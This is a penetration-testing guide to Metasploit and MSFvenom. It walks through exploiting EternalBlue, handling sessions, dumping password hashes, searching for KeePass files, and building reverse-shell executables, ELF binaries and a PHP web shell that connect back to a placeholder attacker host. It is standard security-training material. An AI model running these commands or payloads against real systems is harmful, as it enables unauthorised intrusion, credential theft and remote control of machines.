Metasploit & MSFvenom

Metasploit is an exploitation framework that provides exploit modules, payload generation, post-exploitation capabilities, and session management. MSFvenom is its standalone payload generation tool. Together they handle the transition from identified vulnerability to interactive access and support post-exploitation operations.

Strategic context

Exploitation requires matching a vulnerability to a reliable exploit, generating a compatible payload, delivering it to the target, and managing the resulting access. Metasploit consolidates these steps into a single framework where exploits, payloads, encoders, and post-exploitation modules work together.

For penetration testing, Metasploit's value is in speed and reliability. Its exploit modules have been tested across environments, its payloads handle the technical details of establishing connections and evading basic protections, and its session management allows operators to maintain and interact with multiple compromised hosts from a single console. For engagements where stealth is less critical than coverage, Metasploit provides efficient exploitation and post-exploitation across diverse target environments.

MSFvenom exists separately from the Metasploit console for situations where the operator needs a standalone payload, a reverse shell binary, a web shell, or shellcode for a custom exploit, without running the full framework. It generates output in formats suitable for any delivery mechanism.

For security leaders, Metasploit represents baseline attacker capability. Its exploit modules cover well-known vulnerabilities, and its payloads are what many detection products are tuned to identify. If Metasploit's default payloads succeed undetected in an environment, detection capabilities need improvement. Conversely, an environment that reliably detects Metasploit activity has achieved meaningful baseline defensive capability.

Execution examples

Exploitation with Metasploit

The Metasploit workflow follows a consistent pattern: select an exploit module, configure target and payload options, and execute.

# Start the console
msfconsole

# Search for an exploit
search type:exploit name:eternalblue

# Select and configure
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS TARGET_IP
set LHOST ATTACKER_IP
set LPORT 443

# Review options and launch
show options
exploit

Successful exploitation returns a session. either a basic command shell or a Meterpreter session depending on the payload selected.

Session management

Metasploit manages multiple active sessions, allowing the operator to move between compromised hosts:

# List active sessions
sessions -l

# Interact with a specific session
sessions -i 1

# Background the current session
background

# Upgrade a shell to Meterpreter
sessions -u 1

Post-exploitation modules

Post-exploitation modules automate common tasks on compromised systems:

# Gather system information
use post/multi/gather/env
set SESSION 1
run

# Extract credentials
use post/windows/gather/hashdump
set SESSION 1
run

# Search for files
use post/multi/gather/find_files
set SESSION 1
set PATTERN *.kdbx
run

# Enumerate network configuration
use post/multi/gather/ping_sweep
set SESSION 1
set RHOSTS 10.10.10.0/24
run

Payload generation with MSFvenom

MSFvenom generates payloads independently of the Metasploit console. Output formats match the delivery method. executables for file-based delivery, raw shellcode for exploit development, and web languages for application-based delivery:

# Windows executable
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker LPORT=443 -f exe -o shell.exe

# Linux ELF binary
msfvenom -p linux/x64/shell_reverse_tcp LHOST=attacker LPORT=443 -f elf -o shell.elf

# PHP web shell
msfvenom -p php/reverse_php LHOST=attacker LPORT=443 -o shell.php

# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=attacker LPORT=443 -f raw

# Shellcode for exploit development
msfvenom -p windows/shell_reverse_tcp LHOST=attacker LPORT=443 -f c -b '\x00'

Staged versus non-staged payloads

The naming convention indicates the payload type. A forward slash between the platform and handler indicates a staged payload; an underscore indicates non-staged:

# Non-staged. entire payload in one transmission
msfvenom -p windows/shell_reverse_tcp ...

# Staged. small initial stage downloads the rest
msfvenom -p windows/shell/reverse_tcp ...

Staged payloads are smaller and useful when buffer space is limited. Non-staged payloads are more reliable because they do not require a second connection to download the remaining stage.

Listener configuration

MSFvenom payloads require a matching listener. The multi/handler module in Metasploit provides this:

use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST attacker
set LPORT 443
exploit -j

The -j flag runs the listener as a background job, allowing the console to remain available for other tasks.